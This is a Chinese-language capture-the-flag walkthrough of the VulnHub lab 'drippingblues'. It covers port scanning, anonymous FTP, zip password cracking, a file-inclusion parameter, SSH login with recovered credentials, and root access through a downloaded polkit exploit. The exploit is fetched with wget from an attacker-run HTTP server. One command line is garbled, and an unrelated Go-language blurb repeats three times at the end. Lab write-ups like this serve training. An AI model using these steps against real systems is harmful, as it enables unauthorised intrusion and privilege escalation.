Vulnhub:drippingblues

本靶场知识点:

  1. 密码爆破fcrackzip
  2. 故意放出的疑似漏洞点
  3. ftp匿名访问
  4. 文件包含漏洞,需要找到参数
  5. ssh连接
  6. polkited提权

靶场环境

靶场下载地址:https://download.vulnhub.com/drippingblues/drippingblues.ova
kali:192.168.2.23
靶机:192.168.2.9

信息收集

使用arp-scan进行主机存活扫描:

arp-scan -l

image.png
扫描到靶机192.168.2.9

使用nmap对存活主机进行进一步的扫描:

nmap -sV -A -p- 192.168.2.9 -O

image.png
通过扫描可以知道该靶机开放了21ftp、22ssh、80http服务

  • 端口21/tcp是FTP服务,使用vsftpd 3.0.3版本,允许匿名登录并具有一个可写入的文件"respectmydrip.zip"。
  • 端口22/tcp是SSH服务,运行着OpenSSH 8.2p1版本,提供了RSA、ECDSA和ED25519类型的SSH主机密钥。
  • 端口80/tcp是HTTP服务,使用Apache httpd 2.4.41版本,服务器上有一个robots.txt文件,指定了两个不允许爬取的目录。
  • 操作系统识别为Linux,可能运行着Linux 4.15到5.8之间的内核版本。

简单扫一下主机有没有可利用的漏洞:

┌──(root㉿kali)-[~]
└─# nmap -script=vuln 192.168.2.9

image.png
ok,啥也没有

访问靶机开启的http服务,有一段文字:
image.png

翻译:
driftingblues is hacked again so it's now called drippingblues. :D hahaha
by
travisscott & thugger 

漂流布鲁斯又被黑了,所以它现在被称为滴水布鲁斯。:D哈哈哈。
通过。
特拉维斯科特与萨格尔

wappalyer信息:
image.png

使用dirsearch进行目录扫描:
image.png
发现有一个 /robots.txt,先留着,一会看

漏洞利用

ftp匿名访问

先访问一下ftp服务吧,可以匿名,使用anonymous作为用户名,空密码进行登录:

┌──(root㉿kali)-[~]
└─# ftp 192.168.2.9
Connected to 192.168.2.9.
220 (vsFTPd 3.0.3)
Name (192.168.2.9:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

使用ls命令列出文件,可以看到有一个respectmydrip.zip
image.png

使用get命令将respectmydrip.zip文件下载下来:
image.png

使用mv命令将下载下来的respectmydrip.zip文件放到桌面上:

# 首先需要使用exit命令退出ftp
ftp> exit
221 Goodbye.
                                                                                                                                                                                                                                            
┌──(root㉿kali)-[~]
└─# mv respectmydrip.zip /root/Desktop

在桌面上可以看到下载下来的文件,是一个zip文件,解压需要密码
image.png

zip文件爆破

可以先使用zip2 john将哈希搞出来,再使用john进行解密

解密等待的时间有点久,需要耐心等待,等个四五分钟才能跑完:
image.png
等了好久,才解出密码:072528035

使用unzip命令进行解压,输入密码072528035,即可得到两个文件,一个respectmydrip.txt和secret.zip:
image.png

先看一下respectmydrip.txt

┌──(root㉿kali)-[~]
└─# cat respectmydrip.txt                                  
just focus on "drip"  

翻译:
只需专注于“点滴”

不过为什么secret.zip还需要密码,爆破不了密码,放一边

文件包含漏洞

不管了,先看一下目录扫描出来的robots.txt文件,在这个robots.txt文件中:
image.png
User-agent: * 表示这些规则适用于所有的网络爬虫。
Disallow: /dripisreal.txt 指定了名为"dripisreal.txt"的文件不应被爬取。
Disallow: /etc/dripispowerful.html 指定了名为"dripispowerful.html"的文件不应被爬取。

不让看 /dripisreal.txt ,我非要看:
image.png

翻译:
你好,亲爱的黑客爱好者,
请听这首歌词:
Https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html。
数一数n个单词,并把它们并排放在一起,然后md5求和。
例如,hellohellohelloHello>>md5sum hellohelloHello。
这是ssh的密码

看不懂,写的乱七八糟的,放一边

看一下/etc/dripispowerful.html,一个html页面,想到了一个文件包含漏洞
index.php是存在的,所以只需要找到传参点就好

想到了前面的:just focus on “drip” ,试一下使用dirp进行传参
发现还真的可以:
image.png

到这边就卡住了,偷看了一下答案:

http://192.168.2.9/index.php?drip=/etc/dripispowerful.html

image.png

查看源代码,可以看到一串密码:imdrippinbiatch
image.png

ssh

使用得到的密码进行ssh登录,可以登录成功:
image.png

thugger
imdrippinbiatch

不要问用户名是哪里来的:
image.png
m3?

列出所有文件:

thugger@drippingblues:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  user.txt  Videos
thugger@drippingblues:~$ cat user.txt
5C50FC503A2ABE93B4C5EE3425496521thugger@drippingblues:~$ 

得到flag1

5C50FC503A2ABE93B4C5EE3425496521这个应该是md5加密的密文,拿去解密一下:
image.png
解密网站:https://www.somd5.com/

polkitd提权

不知道要干啥了,先提个权吧

查找具有 SetUID 权限位的文件:

find / -perm -u=s 2>/dev/null

image.png
ok,没有可以能够用来提权的SUID

看一下进程:

ps -aux

image.png
找到一条,policykit

在github上可以看到这个软件的漏洞,https://github.com/Almorabea/Polkit-exploit

可以在thugger上使用下面的命令:

wget https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip
unzip master.zip
cd CVE-2021-4034-master/
python3 cve2021cd CVE-2021-4034-master/-4034.py

不过我的虚拟机没有联网,所以我在电脑上下载了exp,再拖到kali里面

在kali上开一个服务

┌──(root㉿kali)-[~/Desktop/Polkit-exploit]
└─# python -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...

在ssh中使用wget将CVE-2021-3560.py下载下来,http后面要跟着kali的地址,第一次操作因为马虎写成了靶机的地址,所以连接不成功:

thugger@drippingblues:~$ wget http://192.168.2.23:9999/CVE-2021-3560.py

image.png

在ssh中运行命令:

ls -al
python3 CVE-2021-3560.py

让程序跑一会,就能提权成功了,在最后的root目录下可以拿到最后一个flag

  • 27
    点赞
  • 50
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Go语言(也称为Golang)是由Google开发的一种静态强类型、编译型的编程语言。它旨在成为一门简单、高效、安全和并发的编程语言,特别适用于构建高性能的服务器和分布式系统。以下是Go语言的一些主要特点和优势: 简洁性:Go语言的语法简单直观,易于学习和使用。它避免了复杂的语法特性,如继承、重载等,转而采用组合和接口来实现代码的复用和扩展。 高性能:Go语言具有出色的性能,可以媲美C和C++。它使用静态类型系统和编译型语言的优势,能够生成高效的机器码。 并发性:Go语言内置了对并发的支持,通过轻量级的goroutine和channel机制,可以轻松实现并发编程。这使得Go语言在构建高性能的服务器和分布式系统时具有天然的优势。 安全性:Go语言具有强大的类型系统和内存管理机制,能够减少运行时错误和内存泄漏等问题。它还支持编译时检查,可以在编译阶段就发现潜在的问题。 标准库:Go语言的标准库非常丰富,包含了大量的实用功能和工具,如网络编程、文件操作、加密解密等。这使得开发者可以更加专注于业务逻辑的实现,而无需花费太多时间在底层功能的实现上。 跨平台:Go语言支持多种操作系统和平台,包括Windows、Linux、macOS等。它使用统一的构建系统(如Go Modules),可以轻松地跨平台编译和运行代码。 开源和社区支持:Go语言是开源的,具有庞大的社区支持和丰富的资源。开发者可以通过社区获取帮助、分享经验和学习资料。 总之,Go语言是一种简单、高效、安全、并发的编程语言,特别适用于构建高性能的服务器和分布式系统。如果你正在寻找一种易于学习和使用的编程语言,并且需要处理大量的并发请求和数据,那么Go语言可能是一个不错的选择。
Go语言(也称为Golang)是由Google开发的一种静态强类型、编译型的编程语言。它旨在成为一门简单、高效、安全和并发的编程语言,特别适用于构建高性能的服务器和分布式系统。以下是Go语言的一些主要特点和优势: 简洁性:Go语言的语法简单直观,易于学习和使用。它避免了复杂的语法特性,如继承、重载等,转而采用组合和接口来实现代码的复用和扩展。 高性能:Go语言具有出色的性能,可以媲美C和C++。它使用静态类型系统和编译型语言的优势,能够生成高效的机器码。 并发性:Go语言内置了对并发的支持,通过轻量级的goroutine和channel机制,可以轻松实现并发编程。这使得Go语言在构建高性能的服务器和分布式系统时具有天然的优势。 安全性:Go语言具有强大的类型系统和内存管理机制,能够减少运行时错误和内存泄漏等问题。它还支持编译时检查,可以在编译阶段就发现潜在的问题。 标准库:Go语言的标准库非常丰富,包含了大量的实用功能和工具,如网络编程、文件操作、加密解密等。这使得开发者可以更加专注于业务逻辑的实现,而无需花费太多时间在底层功能的实现上。 跨平台:Go语言支持多种操作系统和平台,包括Windows、Linux、macOS等。它使用统一的构建系统(如Go Modules),可以轻松地跨平台编译和运行代码。 开源和社区支持:Go语言是开源的,具有庞大的社区支持和丰富的资源。开发者可以通过社区获取帮助、分享经验和学习资料。 总之,Go语言是一种简单、高效、安全、并发的编程语言,特别适用于构建高性能的服务器和分布式系统。如果你正在寻找一种易于学习和使用的编程语言,并且需要处理大量的并发请求和数据,那么Go语言可能是一个不错的选择。
Go语言(也称为Golang)是由Google开发的一种静态强类型、编译型的编程语言。它旨在成为一门简单、高效、安全和并发的编程语言,特别适用于构建高性能的服务器和分布式系统。以下是Go语言的一些主要特点和优势: 简洁性:Go语言的语法简单直观,易于学习和使用。它避免了复杂的语法特性,如继承、重载等,转而采用组合和接口来实现代码的复用和扩展。 高性能:Go语言具有出色的性能,可以媲美C和C++。它使用静态类型系统和编译型语言的优势,能够生成高效的机器码。 并发性:Go语言内置了对并发的支持,通过轻量级的goroutine和channel机制,可以轻松实现并发编程。这使得Go语言在构建高性能的服务器和分布式系统时具有天然的优势。 安全性:Go语言具有强大的类型系统和内存管理机制,能够减少运行时错误和内存泄漏等问题。它还支持编译时检查,可以在编译阶段就发现潜在的问题。 标准库:Go语言的标准库非常丰富,包含了大量的实用功能和工具,如网络编程、文件操作、加密解密等。这使得开发者可以更加专注于业务逻辑的实现,而无需花费太多时间在底层功能的实现上。 跨平台:Go语言支持多种操作系统和平台,包括Windows、Linux、macOS等。它使用统一的构建系统(如Go Modules),可以轻松地跨平台编译和运行代码。 开源和社区支持:Go语言是开源的,具有庞大的社区支持和丰富的资源。开发者可以通过社区获取帮助、分享经验和学习资料。 总之,Go语言是一种简单、高效、安全、并发的编程语言,特别适用于构建高性能的服务器和分布式系统。如果你正在寻找一种易于学习和使用的编程语言,并且需要处理大量的并发请求和数据,那么Go语言可能是一个不错的选择。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值